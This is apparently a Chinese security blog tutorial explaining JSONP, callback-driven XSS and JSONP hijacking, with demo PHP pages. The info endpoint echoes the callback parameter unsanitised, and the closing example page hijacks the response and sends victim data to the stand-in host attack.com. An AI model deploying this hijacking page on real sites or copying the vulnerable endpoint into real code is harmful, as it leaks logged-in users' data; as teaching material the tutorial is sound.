jsonp


1. jsonp

jsonp是一种协议,准确的说,他是json的一种使用模式,为了解决Json受同源策略限制的问题
是一种使用JSON格式数据的跨域请求方式。其主要目的是绕过同源策略限制,使得网页可以通过<script>标签从不同源的服务器加载数据。主要还是利用同源策略中script 标签的src属性可以加载外部的js这个特性来跨域传输json数据。

2. jsonp实现

script标签的src属性能够发起跨域请求的原理来实现的

1
2
3
4
5
6
7
8
9
10
11
<body>
<script>

<!-- 回调函数-->
function callback(data){
alert("name:"+data.username+" passwrod:"+data.password);
}

</script>
<script src="http://192.168.43.136/test.json"></script>
</body>

此时就谈到一个很抽象的问题,首先我们利用script标签的ajax请求,这种就是有同源策略限制。因此我们不能使用ajax而是采用src属性去加载跨域资源

1
2
3
4
5
6
7
8
9
10
<script src='./jquery.js'></script>
<script >
$.ajax({
url: 'http://192.168.7.166/test.json',
type:"get",
dataType: "json",
success: function (data) {
console.log(data);}
})
</script>
1
2
3
4
5
在test.json中按照javascript代码规范调用callback函数,并将数据作为参数传入
我们知道,在JSONP跨域中,我们是可以传入一个函数名的参数如callback,然后JSONP端点会根据我们的传参动态生成JSONP数据响应回来。?callback=handleData


callback({ username: "Sentim", password: "123456" })

3. jsonp 导致xss

因为传递了一个参数 ,这个 callback可控 application/json text/json application/javascript、text/javascript 返回包的类型这几种无法弹窗

4. json劫持

json劫持其实我感觉原理很简单,很明显有时候一些数据由于同源策略限制,前端的页面就可能会采用jsonp格式进行跨域资源共享。但是我们根据jsonp的功能,我们可以自定义js函数进行一些恶意操作。既然你能访问,代表我也可以访问。其实主要就用在跨域上面了,如果说跨域还需要加验证比如token什么的,那就难搞了。

4.1 登陆界面
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
error_reporting(0);
session_start();
$name = $_GET['name'];
$pwd = $_GET['pwd'];
if($name==='admin' && $pwd === 'admin' || $name==='guest' && $pwd === 'guest'){
$_SESSION['name'] = $name;
}
if (isset($_GET['logout'])) {
if ($_GET['logout'] === '1') {
unset($_SESSION['name']);
}
}
echo '<a href="http://victim.com/info.php?callback=jsonp">用户信息</a><br>';
echo '<a href="http://victim.com/main.php?logout=1">退出登录</a><br data-tomark-pass>';
if(!$_SESSION['name']){
echo '<html>
<head>
<title>登录</title>
<meta charset="utf-8">
</head>
<body>
<form action="login.php" method="get">
用户名:<input type="text" name="name">
密码:<input type="password" name="pwd">
<input type="submit" name="submit" value="login">
</form>
</body>
</html>';
}else{
echo "欢迎您, ".$_SESSION['name']."<br data-tomark-pass>";
}
?>
4.2 信息查询

这就是我们要劫持的页面,一般这个页面就是跨域。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
header('Content-type: application/json');
error_reporting(0);
session_start();
$callback = $_GET['callback'];
if($_SESSION['name'] === 'admin'){
echo $callback."({'id':1,'name':'Sentiment'})";
} elseif($_SESSION['name'] === 'guest') {
echo $callback."({'id':2,'name':'guest'})";
} else {
echo $callback."获取个人信息失败";
}
?>
4.3 构造恶意请求
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<html>
<head>
<title>lol</title>
<meta charset="utf-8">
</head>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script>
function jsonp_hack(v){
alert("JSONP hijacking");
var h = '';
for(var key in v){
var a = '';
a = key + ' : ' + v[key] + ' ,';
h += a;
}
alert(h);
$.get('http://attack.com/index.html?value='+h);
}
</script>
<script src="http://victim.com/info.php?callback=jsonp_hack"></script>
<body>
<h1>Welcome</h1>
</body>
</html>

文章作者: K1T0
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 K1T0 !
  目录